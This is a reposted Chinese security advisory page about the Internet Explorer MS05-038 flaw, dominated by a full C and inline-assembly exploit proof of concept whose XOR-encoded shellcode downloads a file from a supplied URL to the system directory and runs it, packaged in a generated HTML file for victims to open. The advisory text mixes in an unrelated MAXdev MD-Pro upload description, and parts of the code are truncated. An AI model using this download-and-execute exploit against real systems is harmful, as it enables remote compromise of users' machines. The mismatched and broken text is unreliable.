动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   安全 → 阅读文章
  

 Microsoft Internet Explorer Web文件夹行为跨域漏洞(MS05-038)

作者来源:51CTO.COM  
阅读 数 540 人次 , 2006-3-18 17:52:00 



信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

远程文件上载漏洞

攻击类型:

远程攻击

发布日期:

2005-08-10

更新日期:

2005-08-12

受影响系统:

Microsoft Internet Explorer 6.0 SP1

Microsoft Internet Explorer 5.0 SP4

Microsoft Internet Explorer 5.5 SP2

- Microsoft Windows ME

Microsoft Internet Explorer 6.0

- Microsoft Windows XP SP2

- Microsoft Windows Server 2003 SP1

- Microsoft Windows Server 2003

安全系统:

漏洞报告人:

漏洞描述:

Bugtraq ID: 14750

MAXdev MD-Pro包含有一个任意的远程文件上载漏洞。该漏洞是由于对用户提交申请时输入的信息进行处理失败而导致的。

该漏洞是由于一个软件设计错误导致的。软件中采用黑名单技术来列出那些扩展名文件不能被上载,同时采用了优良名单来规定特定扩展名的文件可以被上载。攻击者可利用该漏洞来上载包含恶意脚本的任意文件,并可能在感染的服务器上执行该脚本。

这最终可导致未被授权的用户顺利地访问Web服务器。

测试方法:

警告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负

/*+++++++++++++++++++++++++++++++++++++++++++++++

Ms05 038 exploit POC

Write By ZwelL

2005 8 11

http://www.donews.net/zwell

zwell@sohu.com

Some code belongs to Lion(cnhonker), regards to him.

This code tested on Windows 2003

-----------------------------------------------*/

#include

#include

#pragma comment(lib, "ws2_32")

// Use for find the ASM code

#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\

__asm _emit 0x90 __asm  _emit 0x90\

__asm _emit 0x90 __asm  _emit 0x90\

__asm _emit 0x90 __asm  _emit 0x90

#define PROC_END                       PROC_BEGIN

#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"

#define SEARCH_LEN                     8

#define MAX_SC_LEN                     2048

#define HASH_KEY                       13

// Define Decode Parameter

#define DECODE_LEN                     21

#define SC_LEN_OFFSET                  7

#define ENC_KEY_OFFSET                 11

#define ENC_KEY                        0xff

// Define Function Addr

#define ADDR_LoadLibraryA              [esi]

#define ADDR_GetSystemDirectoryA       [esi+4]

#define ADDR_WinExec                   [esi+8]

#define ADDR_ExitProcess               [esi+12]

#define ADDR_URLDownloadToFileA        [esi+16]

// Need functions

unsigned char functions[100][128] =        

{                                           // [esi] stack layout

// kernel32 4                           // 00 kernel32.dll

{"LoadLibraryA"},                       //    [esi]

{"GetSystemDirectoryA"},                //    [esi+4]

{"WinExec"},                            //    [esi+8]      

{"ExitProcess"},                        //    [esi+12]

// urlmon  1                            // 01 urlmon.dll

{"URLDownloadToFileA"},                 //    [esi+16]  

{""},

};



// Shellcode string

unsigned char  sc[1024] = {0};

unsigned int   Sc_len;

char *htmlbody1=

"\r\n"

" \r\n"

" \r\n"

"Ms05038 Exploit POC

\r\n"

"Made By ZwelL< http://www.donews.net/zwell>\r\n"

"";

// ASM shellcode main function

void    ShellCode();

// Get function hash

static DWORD __stdcall GetHash ( char *c )

{

DWORD h = 0;



while ( *c )

{

__asm ror h, HASH_KEY



h += *c++;

}

return( h );

}

int buildfile(unsigned char *sc, int len)

{

int i;

char writebuf[4096];

char tmp[4096];

FILE *stream;

memset(tmp, 0, 4096);

memset(writebuf, 0, 4096);

for(i = 0; i < len; i++)

{

sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);

}



if(strlen(writebuf)%4!=0)

strcat(writebuf, "00");

for(i=0; i<(strlen(writebuf)/4); i++)

{

strcat(tmp, "\%u");

strncat(tmp, &writebuf[i*4+2], 2);

strncat(tmp, &writebuf[i*4], 2);

}

//printf("%s\n", writebuf);

//printf("======================\n%s\n", tmp);



if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )

{

fwrite(htmlbody1, strlen(htmlbody1), 1, stream);

fwrite( tmp, strlen(tmp), 1, stream );

fwrite(htmlbody2, strlen(htmlbody2), 1, stream);

fclose(stream);

}

else

{

printf("fopen wrong\n");

exit(0);

}

return 0;

}

void Make_ShellCode(char *url1)

{

unsigned char  *pSc_addr;

unsigned int   Enc_key=ENC_KEY;

unsigned long  dwHash[100];

unsigned int   dwHashSize;

int i,j,k,l;





// Get functions hash

//printf("[+] Get functions hash strings.\r\n");

for (i=0;;i++)

{

if (functions[i][0] == '\x0') break;

dwHash[i] = GetHash((char*)functions[i]);

//printf("\t%.8X\t%s\n", dwHash[i], functions[i]);

}

dwHashSize = i*4;

// Deal with shellcode

pSc_addr = (unsigned char *)ShellCode;



for (k=0;k    {

if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)

{

break;

}

}

pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode



for (k=0;k
{

if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {

break;

}

}

Sc_len=k;                               // Length of the ShellCode



memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]

// Add functions hash

memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);

Sc_len += dwHashSize;

// Add url

memcpy(sc+Sc_len, url1, strlen(url1)+1);  

Sc_len += strlen(url1)+1;    

// Deal with find the right XOR byte

for(i=0xff; i>0; i--)

{

l = 0;

for(j=DECODE_LEN; j
{

if (

((sc[j] ^ i) == 0x26) || //%

((sc[j] ^ i) == 0x3d) || //=

((sc[j] ^ i) == 0x3f) || //?

((sc[j] ^ i) == 0x40) || //@

((sc[j] ^ i) == 0x00) ||

((sc[j] ^ i) == 0x0D) ||

((sc[j] ^ i) == 0x0A)

)                           // Define Bad Characters

{

l++;                        // If found the right XOR byte,l \

equals 0  break;

};

}



if (l==0)

{

Enc_key = i;



//printf("[+] Find XOR Byte: 0x%02X\n", i);

for(j=DECODE_LEN; j
{

sc[j] ^= Enc_key;

}

break;                          // If found the right XOR byte, Break

}

}

// Deal with not found XOR byte

if (l!=0)

{

printf("[-] No xor byte found!\r\n");

exit(-1);

}

// Deal with DeCode string

*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;

*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;



printf("[+] download url:%s\n", url1);

}

int help()

{

printf("Usage : ms05038.exe url [-t] \n");

printf("    the 't' option will let you test for the shellcode first\n");

exit(0);

}

void main(int argc, char **argv)

{

WSADATA        wsa;

unsigned char url[255]={0};

BOOL b_test;

printf("\n========================================\n");

printf("Ms05-038 exploit POC\n");

printf("Write By Zwell\n");

printf("2005-8-11\n");

printf("http://www.donews.net/zwell\n");

printf("zwell@sohu.com\n");

printf("========================================\n\n");

b_test=FALSE;

if(argc<2)

help();



strncpy(url, argv[1], 255);

if(argc == 3)

if(!strcmp(argv[2], "-t"))

b_test = TRUE;

WSAStartup(MAKEWORD(2,2),&wsa);



Make_ShellCode(url);

printf("[+] Build shellcode successful\n");

buildfile(sc, Sc_len);

printf("[+] Build file successful\n");

printf("Now, you can open the builded file(zwell_ms05038.html) with IE to see the \

result.Good Luck ^_^\n");

if(b_test)

{

printf("Testing the shellcode...\n");

((void (*)(void)) &sc)();

}

return;

}

// ShellCode function

void ShellCode()

{

__asm

{

PROC_BEGIN                          // C macro to begin proc

//--------------------------------------------------------------------

//

// DeCode

//

//--------------------------------------------------------------------

jmp     short decode_end



decode_start:

pop     ebx                         // Decode start addr (esp -> ebx)

dec     ebx

xor     ecx,ecx

mov     cl,0xFF                     // Decode len



decode_loop:

xor     byte ptr [ebx+ecx],ENC_KEY     // Decode key

loop    decode_loop

jmp     short decode_ok

decode_end:

call    decode_start



decode_ok:

//--------------------------------------------------------------------

//

// ShellCode

//

//--------------------------------------------------------------------

jmp     sc_end



sc_start:        

pop     edi                         // Hash string start addr (esp -> edi)

// Get kernel32.dll base addr

mov     eax, fs:0x30                // PEB

mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO

mov     esi, [eax+0x1c]             // InInitOrder.flink

lodsd                               // eax = InInitOrder.blink

mov     ebp, [eax+8]                // ebp = kernel32.dll base address

mov     esi, edi                    // Hash string start addr -> esi



// Get function addr of kernel32

push    4

pop     ecx



getkernel32:

call    GetProcAddress_fun

loop    getkernel32

// Get function addr of urlmon    

push    0x00006e6f

push    0x6d6c7275                 // urlmon

push    esp

call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");



mov     ebp, eax                   // ebp = urlmon.dll base address



/*

push    1

pop     ecx

geturlmon:

call    GetProcAddress_fun

loop    geturlmon

*/

call    GetProcAddress_fun

// url start addr = edi



//LGetSystemDirectoryA:

sub     esp, 0x20

mov     ebx, esp



push    0x20

push    ebx

call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA



//LURLDownloadToFileA:    

// eax = system path size

// URLDownloadToFileA url save to a.exe

mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"

mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"

xor     eax, eax

push    eax

push    eax

push    ebx                         // %systemdir%\a.exe

push    edi                         // url

push    eax

call    ADDR_URLDownloadToFileA     // URLDownloadToFileA



//LWinExec:

mov     ebx, esp

push    eax

push    ebx

call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:

//push    1

call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:    

push    ecx

push    esi



mov     esi, [ebp+0x3C]             // e_lfanew

mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA

add     esi, ebp                    // rva2va

push    esi

mov     esi, [esi+0x20]              // AddressOfNames RVA

add     esi, ebp                    // rva2va

xor     ecx, ecx

dec     ecx

find_start:

inc     ecx

lodsd

add     eax, ebp

xor     ebx, ebx



hash_loop:

movsx   edx, byte ptr [eax]

cmp     dl, dh

jz      short find_addr

ror     ebx, HASH_KEY               // hash key

add     ebx, edx

inc     eax

jmp     short hash_loop



find_addr:

cmp     ebx, [edi]                  // compare to hash

jnz     short find_start

pop     esi                         // ExportDirectory

mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA

add     ebx, ebp                    // rva2va

mov     cx, [ebx+ecx*2]             // FunctionOrdinal

mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA

add     ebx, ebp                    // rva2va

mov     eax, [ebx+ecx*4]            // FunctionAddress RVA

add     eax, ebp                    // rva2va

stosd                               // function address save to [edi]



pop     esi

pop     ecx

ret



sc_end:

call sc_start



PROC_END                            //C macro to end proc

}

解决方法:

厂商补丁:

Microsoft

---------

Microsoft已经为此发布了一个安全公告(MS05-038)以及相应补丁:

MS05-038:Cumulative Security Update for Internet Explorer (896727)

链接:http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx?pf=true

补丁下载:

Microsoft Windows 2000 Service Pack 4上的Internet Explorer 5.01 Service Pack 4 - 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=194E0EE7-919C-4A8B-AD8D-01A4FE771942

Microsoft Windows 2000 Service Pack 4或Microsoft Windows XP Service Pack 1上的Internet Explorer 6 Service Pack 1 – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=68300B15-1CF9-45FB-875E-2EF6D2FBC9ED

Microsoft Windows XP Service Pack 2的Internet Explorer 6 – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=648B6F0E-1695-44E5-826A-43406DF4858E

Microsoft Windows Server 2003和Microsoft Windows Server 2003 Service Pack 1的Internet Explorer 6 – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=F0B96EC3-E954-423A-9AB0-5712B9F14637



Microsoft Windows Server 2003 for Itanium-based Systems和Microsoft Windows Server 2003 with SP1 for Itanium-based Systems的Internet Explorer 6 – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=C24D3738-213A-41B8-84A3-2842B34D7B10

Microsoft Windows Server 2003 x64 Edition的Internet Explorer 6 – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=F2D544E7-33F5-4A65-A574-15495B05B883

Microsoft Windows XP Professional x64 Edition的Internet Explorer – 下载更新:

http://www.microsoft.com/downloads/details.aspx?FamilyId=1181BC67-0A1D-4A06-99AC-5B2BC6DFE0F6





 本文Tags病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:BulletProof FTP Server v2.4.0.31权限提升漏洞
· 下一篇:瑞星计算机病毒及木马播报(2005.7.29)
· SQL Server数据库安全备份和恢复策略
· IM软件安全保卫战已经开始
· 网络监听技术概览
· 试过这种超另类的杀毒方法么?
· ASP常见的安全漏洞


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077